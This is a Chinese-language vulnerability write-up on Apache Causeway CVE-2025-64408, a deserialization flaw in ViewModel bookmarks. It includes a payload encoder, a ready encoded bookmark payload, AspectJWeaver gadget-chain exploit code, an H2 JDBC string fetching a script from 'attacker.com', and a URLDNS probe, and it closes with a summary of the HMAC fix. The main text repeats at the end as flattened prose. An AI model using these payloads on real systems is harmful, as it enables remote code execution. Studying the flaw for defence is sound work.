Apache Causeway (CVE-2025-64408) 反序列化远程代码执行漏洞分析
字数 2057 2025-12-03 12:03:42

Apache Causeway CVE-2025-64408 反序列化漏洞分析教学文档

1. 漏洞概述

1.1 框架介绍

Apache Causeway 是 Apache 基金会开源的 Java 企业级领域建模框架,基于 Spring Boot 架构,能够为实体类、领域服务和 ViewModel 自动生成 Web 界面与 API 接口,广泛应用于企业级管理系统的构建。

1.2 漏洞本质

在受影响的版本中,框架在处理 ViewModel 的书签(bookmark)与 URL 片段时存在严重的安全缺陷:系统将客户端可控的内容直接作为对象状态进行反序列化,且缺乏完整性校验机制。

1.3 攻击场景

经过身份认证的攻击者能够构造恶意的 URL 片段,当服务端尝试还原 ViewModel 时触发反序列化操作,在存在可利用 gadget 链的环境下实现远程代码执行。

2. 漏洞分析

2.1 源码定位方法

通过官方漏洞公告 CAUSEWAY-3939 分析源码变更,关键文件:

  • commons/src/main/java/org/apache/causeway/commons/internal/memento/_MementoDefault.java
  • 该文件包含存在安全风险的反序列化操作,已被删除

2.2 调用链路分析

完整的漏洞触发调用链:

org.apache.causeway.commons.internal.memento._MementoDefault#parse
  → org.apache.causeway.commons.internal.memento._Mementos#parse
  → org.apache.causeway.core.metamodel.facets.object.viewmodel.ViewModelFacetForJavaRecord#parseMemento
  → org.apache.causeway.core.metamodel.facets.object.viewmodel.ViewModelFacetForJavaRecord#createViewmodel
  → org.apache.causeway.core.metamodel.facets.object.viewmodel.ViewModelFacetAbstract#instantiate

2.3 Bookmark 解析机制

在 Bookmark 的 parse 方法中:

  1. 使用 StringTokenizer 以 : 作为分隔符进行字符串分割
  2. 解析后分为两个关键参数:
    • logicalTypeName:逻辑类型名称
    • urlSafeIdentifier:URL 安全标识符(反序列化数据源)

攻击载荷结构:logicalTypeName:攻击载荷

2.4 类型验证机制

SpecificationLoaderDefault#lookupLogicalType 方法中:

  1. 首先检查 logicalTypeResolver 中是否存在有效的逻辑类型
  2. 如果不存在,则通过 loadClass(logicalTypeName) 方法加载指定类名对应的类

3. 漏洞复现测试

3.1 测试环境搭建

使用 Causeway 官方示例项目:https://github.com/apache/causeway-app-helloworld

3.2 编码机制分析

Causeway 的数据处理机制(UrlEncodingServiceWithCompression#decode):

  1. 对传入字符串进行 Base64 解码
  2. 使用 GZip 进行解压操作
  3. 返回最终的字节数组

Payload 构造需要双重处理:

  1. 先对内容进行 GZip 压缩
  2. 然后进行 Base64 编码

3.3 编解码工具实现

public class CausewayBase64Utils {
    public static final BytesOperator asCompressedUrlBase64 = operator()
        .andThen(CausewayBase64Utils::compress)
        .andThen(bytes -> Base64.getUrlEncoder().encode(bytes));
    
    public static final BytesOperator ofCompressedUrlBase64 = operator()
        .andThen(bytes -> Base64.getUrlDecoder().decode(bytes))
        .andThen(CausewayBase64Utils::decompress);
    
    public static BytesOperator operator() {
        return new BytesOperator(UnaryOperator.identity());
    }
    
    static byte[] compress(final byte[] input) {
        if (input.length < 18) {
            return input;
        } else {
            return input.length < 256 ? prepend(input, new byte[]{0}) : prepend(gzip_compress(input), new byte[]{1});
        }
    }
    
    static byte[] decompress(final byte[] input) {
        if (input != null && input.length >= 18) {
            byte[] inputWithoutPrefix = Arrays.copyOfRange(input, 1, input.length);
            return gzip_decompress(inputWithoutPrefix);
        } else {
            return input;
        }
    }
}

3.4 编解码流程详解

编码流程 (asCompressedUrlBase64):

原始 byte[] → 压缩处理 → 压缩后的 byte[] → URL Base64编码 → 最终编码结果

解码流程 (ofCompressedUrlBase64):

URL Base64编码的 byte[] → URL Base64解码 → 压缩后的 byte[] → 解压缩 → 原始 byte[]

4. 漏洞利用实现

4.1 AspectJWeaver 利用链

使用 AspectJWeaver 反序列化链实现漏洞利用,在 /tmp 目录下创建文件 n1es.txt

最终 Payload 结构:

causeway.conf.ConfigurationViewmodel:AR-LCAAAAAAAAP-FkjFvEzEUx1_vlDRFFaSogpEOlTogbCHBgIKgtKJq0QFDMiCx4CZO7oLPNvZLeunAwMiEUKYiIT5AqeAjVBUfAEZgQEIdmVg68nyhUhFDT7q7Z7_n__vZf-_-gop3MNcXQ8EGmCm2Lnx6X9jK9Nf9gwtPPscQrcEZZURnTbTRuA2YwdRJnxrVKeztZQjP7FaNvnV6p0jsunE9Jqxop5K1TZ4b7emvlGxjRvE19lSOhkINJGtlskO97mp0o5fvv7y5sX_pWwRRAjGVIJxPAhZXQvf4w80-rW9QKhcW4dwkFYg5KTQKmqvpq9IzLJAYLp_GQCosEdsjWqwPxy_ejurjGKYSmO6W26TuVxLS4BMN_leDn9TgLSe07xqXS0cA1PXmaV27Ax3UPVulIQqNJyQeDV_N3Yk-jqOAMZMdVzyD5xAXduAgeryy-_viUbXW-hE

4.2 利用代码实现

public static void main(String[] args) throws Exception {
    String fileName = "n1es.txt";
    String filePath = "/tmp/";
    String fileContent = "n1es is here";
    
    // 初始化 HashMap
    HashMap<Object, Object> hashMap = new HashMap<>();
    
    // 实例化 StoreableCachingMap 类
    Class<?> c = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
    Constructor<?> constructor = c.getDeclaredConstructor(String.class, int.class);
    constructor.setAccessible(true);
    Map map = (Map) constructor.newInstance(filePath, 10000);
    
    // 初始化 Transformer
    Transformer transformer = new ConstantTransformer(fileContent.getBytes(StandardCharsets.UTF_8));
    
    // 使用 StoreableCachingMap 创建 LazyMap 并引入 TiedMapEntry
    Map lazyMap = LazyMap.lazyMap(map, transformer);
    TiedMapEntry entry = new TiedMapEntry(lazyMap, fileName);
    
    HashMap<Object, Object> objects = new HashMap<>();
    objects.put(entry, entry);
    
    // 序列化并编码
    byte[] bytes = writeObjectToBytes(objects);
    byte[] encodedPayload = CausewayBase64Utils.asCompressedUrlBase64.apply(bytes);
    System.out.println(new String(encodedPayload));
}

5. 高版本 JDK 环境下的利用挑战

5.1 JDK 17+ 安全限制

  1. 内部类反射访问限制:禁止对 JDK 内部类进行反射访问
  2. 模块边界强化:Java 平台模块系统严格实施
  3. 反序列化过滤器增强:默认拦截已知恶意类

5.2 高版本替代攻击向量

5.2.1 Apache Commons DBCP2 + H2 数据库攻击链

利用组件:

  • Apache Commons DBCP2:数据库连接池组件
  • H2 数据库:通过脚本执行功能实现 RCE
  • JDBC 连接字符串注入:绕过高版本 JDK 类访问限制

5.2.2 攻击链路示例

// 利用 H2 数据库的 RUNSCRIPT 功能
String maliciousUrl = "jdbc:h2:mem:test;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://attacker.com/evil.sql'";

5.3 实战环境适配

URLDNS 通用验证方案

// URLDNS - 通用的漏洞存在性验证方法
HashMap map = new HashMap();
URL url = new URL("http://zzvirkbsbt.dgrh3.cn");
Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
f.setAccessible(true);
f.set(url,1);
map.put(url,123);
f.set(url,-1);
byte[] bytes = writeObjectToBytes(map);
byte[] apply = CausewayBase64Utils.asCompressedUrlBase64.apply(bytes);
System.out.println(new String(apply));

6. 修复方案

修复版本通过以下措施彻底解决安全问题:

  1. 引入 HMAC 数字签名:为 ViewModel 书签与 memento 引入基于 HMAC 的数字签名与验签流程
  2. 强制签名校验:服务端在反序列化前强制校验签名,验证失败即终止处理
  3. 统一安全验证:ViewModelFacet 与内部 Memento 工具统一使用 HmacAuthority 完成安全验证

7. 总结

Apache Causeway CVE-2025-64408 漏洞展示了企业级框架中反序列化安全的重要性。虽然该漏洞需要认证才能利用,但在实际环境中危害性依然显著。教学重点包括:

  1. 理解漏洞的根本原因:客户端可控数据直接反序列化
  2. 掌握完整的攻击链分析方法和工具
  3. 了解高版本 JDK 环境下的利用限制和替代方案
  4. 学习有效的修复和防护措施

通过深入分析此漏洞,可以提升对 Java 反序列化安全的认识和防护能力。

Apache Causeway CVE-2025-64408 反序列化漏洞分析教学文档 1. 漏洞概述 1.1 框架介绍 Apache Causeway 是 Apache 基金会开源的 Java 企业级领域建模框架,基于 Spring Boot 架构,能够为实体类、领域服务和 ViewModel 自动生成 Web 界面与 API 接口,广泛应用于企业级管理系统的构建。 1.2 漏洞本质 在受影响的版本中,框架在处理 ViewModel 的书签(bookmark)与 URL 片段时存在严重的安全缺陷:系统将客户端可控的内容直接作为对象状态进行反序列化,且缺乏完整性校验机制。 1.3 攻击场景 经过身份认证的攻击者能够构造恶意的 URL 片段,当服务端尝试还原 ViewModel 时触发反序列化操作,在存在可利用 gadget 链的环境下实现远程代码执行。 2. 漏洞分析 2.1 源码定位方法 通过官方漏洞公告 CAUSEWAY-3939 分析源码变更,关键文件: commons/src/main/java/org/apache/causeway/commons/internal/memento/_MementoDefault.java 该文件包含存在安全风险的反序列化操作,已被删除 2.2 调用链路分析 完整的漏洞触发调用链: 2.3 Bookmark 解析机制 在 Bookmark 的 parse 方法中: 使用 StringTokenizer 以 : 作为分隔符进行字符串分割 解析后分为两个关键参数: logicalTypeName :逻辑类型名称 urlSafeIdentifier :URL 安全标识符(反序列化数据源) 攻击载荷结构: logicalTypeName:攻击载荷 2.4 类型验证机制 在 SpecificationLoaderDefault#lookupLogicalType 方法中: 首先检查 logicalTypeResolver 中是否存在有效的逻辑类型 如果不存在,则通过 loadClass(logicalTypeName) 方法加载指定类名对应的类 3. 漏洞复现测试 3.1 测试环境搭建 使用 Causeway 官方示例项目:https://github.com/apache/causeway-app-helloworld 3.2 编码机制分析 Causeway 的数据处理机制( UrlEncodingServiceWithCompression#decode ): 对传入字符串进行 Base64 解码 使用 GZip 进行解压操作 返回最终的字节数组 Payload 构造需要双重处理: 先对内容进行 GZip 压缩 然后进行 Base64 编码 3.3 编解码工具实现 3.4 编解码流程详解 编码流程 ( asCompressedUrlBase64 ): 解码流程 ( ofCompressedUrlBase64 ): 4. 漏洞利用实现 4.1 AspectJWeaver 利用链 使用 AspectJWeaver 反序列化链实现漏洞利用,在 /tmp 目录下创建文件 n1es.txt 。 最终 Payload 结构: 4.2 利用代码实现 5. 高版本 JDK 环境下的利用挑战 5.1 JDK 17+ 安全限制 内部类反射访问限制 :禁止对 JDK 内部类进行反射访问 模块边界强化 :Java 平台模块系统严格实施 反序列化过滤器增强 :默认拦截已知恶意类 5.2 高版本替代攻击向量 5.2.1 Apache Commons DBCP2 + H2 数据库攻击链 利用组件: Apache Commons DBCP2:数据库连接池组件 H2 数据库:通过脚本执行功能实现 RCE JDBC 连接字符串注入:绕过高版本 JDK 类访问限制 5.2.2 攻击链路示例 5.3 实战环境适配 URLDNS 通用验证方案 6. 修复方案 修复版本通过以下措施彻底解决安全问题: 引入 HMAC 数字签名 :为 ViewModel 书签与 memento 引入基于 HMAC 的数字签名与验签流程 强制签名校验 :服务端在反序列化前强制校验签名,验证失败即终止处理 统一安全验证 :ViewModelFacet 与内部 Memento 工具统一使用 HmacAuthority 完成安全验证 7. 总结 Apache Causeway CVE-2025-64408 漏洞展示了企业级框架中反序列化安全的重要性。虽然该漏洞需要认证才能利用,但在实际环境中危害性依然显著。教学重点包括: 理解漏洞的根本原因:客户端可控数据直接反序列化 掌握完整的攻击链分析方法和工具 了解高版本 JDK 环境下的利用限制和替代方案 学习有效的修复和防护措施 通过深入分析此漏洞,可以提升对 Java 反序列化安全的认识和防护能力。